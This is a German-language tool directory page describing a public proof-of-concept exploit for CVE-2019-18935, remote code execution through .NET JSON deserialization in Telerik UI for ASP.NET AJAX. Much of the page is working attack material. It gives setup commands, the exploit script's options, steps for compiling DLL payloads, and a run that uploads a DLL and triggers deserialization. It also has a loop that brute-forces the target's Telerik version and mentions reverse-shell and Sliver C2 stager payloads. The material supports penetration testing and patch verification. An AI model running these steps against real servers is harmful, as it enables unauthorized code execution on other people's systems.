Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-18935 — RCE-Exploit für eine .NET JSON-Deserialisierungsschwachstelle in Telerik UI for ASP.NET AJAX. | Kitploit
Tools/GitHubGitHub/noperator/cve-2019-18935
SchwachstellenanalyseExploitationShellcodeWebanwendungs-ExploitationPenetrationstestsCommand and ControlRed TeamingPayload-Entwicklung
GitHubnoperator/cve-2019-18935

CVE-2019-18935

RCE-Exploit für eine .NET JSON-Deserialisierungsschwachstelle in Telerik UI for ASP.NET AJAX.

Repository anzeigen
3738813vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2019-18935

Proof-of-Concept-Exploit für eine .NET-JSON-Deserialisierungsschwachstelle in Telerik UI für ASP.NET AJAX, die Remote-Codeausführung ermöglicht.

Beschreibung

Telerik UI für ASP.NET AJAX ist eine weit verbreitete Suite von UI-Komponenten für Webanwendungen. Sie deserialisiert JSON-Objekte auf unsichere Weise, was zu beliebiger Remote-Codeausführung auf dem zugrunde liegenden Host der Software führt. Weitere Informationen finden Sie unter:

  • Der DerpCon-Vortrag .NET Roulette (Folien) beschreibt die grundlegenden Details zur Ausnutzung unsicherer Deserialisierung, wendet diese auf diesen Exploit an und führt durch einige Tipps und Tricks zur Erlangung von Shells auf ASP.NET-Webanwendungen.
  • Der vollständige Artikel bei Bishop Fox, einschließlich einer vollständigen Anleitung zu dieser Sicherheitslücke und Exploit-Details für dieses Problem (zusammen mit Patch-Anweisungen).

Erste Schritte

Voraussetzungen

Sie benötigen Visual Studio und das .NET Framework SDK, um Mixed-Mode-.NET-Assembly-DLL-Payloads mit build-dll.bat zu kompilieren.

Installation

git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

Dieser Exploit nutzt die Verschlüsselungslogik von RAU_crypto. Die Klasse RAUCipher in RAU_crypto.py ist von PyCryptodome abhängig, einem Drop-in-Ersatz für das tote PyCrypto-Modul. PyCryptodome und PyCrypto verursachen Probleme, wenn sie in derselben Umgebung installiert sind. Am besten installieren Sie das Modul daher in einer virtuellen Umgebung, wie oben gezeigt.

Konfiguration

Weisen Sie Zeile 17 von build-dll.bat auf den Pfad Ihrer Visual Studio-Installation.

set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build

Verwendung

$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.

optional arguments:
  -h, --help          show this help message and exit
  -t                  just upload a file
  -d                  just deserialize
  -r FILENAME_REMOTE  remote payload name, for optional use with -d
  -s SMB_SERVER       remote SMB server, for optional use with -d
  -v UI_VERSION       software version
  -n NET_VERSION      .NET version
  -p PAYLOAD          mixed mode assembly DLL
  -f FOLDER           destination folder on target
  -u URL              https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau

Kompilieren der Mixed-Mode-.NET-Assembly-DLL-Payload

Einige Payloads (z.B. reverse-shell.c und sliver-stager.c) erfordern, dass Sie die Felder HOST und PORT auf Ihren C2-Server setzen – stellen Sie sicher, dass Sie das tun!

Verwenden Sie in einer Windows-Umgebung mit installiertem Visual Studio build-dll.bat, um 32- und 64-Bit-Mixed-Mode-Assembly-DLLs zu generieren, die als Payload während der Deserialisierung verwendet werden. Sie können optional eine Ziel-CPU-Architektur als zweites CLI-Argument angeben (z.B. x86).

build-dll.bat sleep.c

Hochladen der Payload auf das Ziel und Laden der Payload in die Anwendung

Übergeben Sie die oben generierte DLL an CVE-2019-18935.py, das die DLL in ein Verzeichnis auf dem Zielserver hochlädt (vorausgesetzt, der Webserver hat Schreibrechte in diesem Verzeichnis) und die DLL dann über den unsicheren Deserialisierungs-Exploit in die Anwendung lädt.

$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

Im obigen Beispiel dauerte es mindestens 10 Sekunden, bis die Anwendung antwortete, was darauf hindeutet, dass die DLL-Payload erfolgreich Sleep(10000) aufgerufen hat.

Brute-Force der Telerik UI-Version

Wie im DerpCon-Vortrag .NET Roulette (39:46) beschrieben, können wir die Telerik UI-Version per Brute-Force ermitteln, indem wir beim Hochladen einer Datei nur die Hauptversion der Telerik.Web.UI-Assembly angeben (d.h. den 2017-Teil der vollständigen Versionszeichenfolge 2017.2.503.40). Diese Technik reduziert den Suchraum im Vergleich zum Brute-Forcen jeder einzelnen Version dieser Software drastisch – und als zusätzlichen Vorteil kann sie sogar Versionen erkennen, die nicht explizit im Release-Verlauf dieser Software aufgeführt sind. Erfahren Sie mehr über .NET-Assembly-Versionierung auf MSDN.

$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:

Implantat mit dem Sliver C2-Framework

Tool herunterladen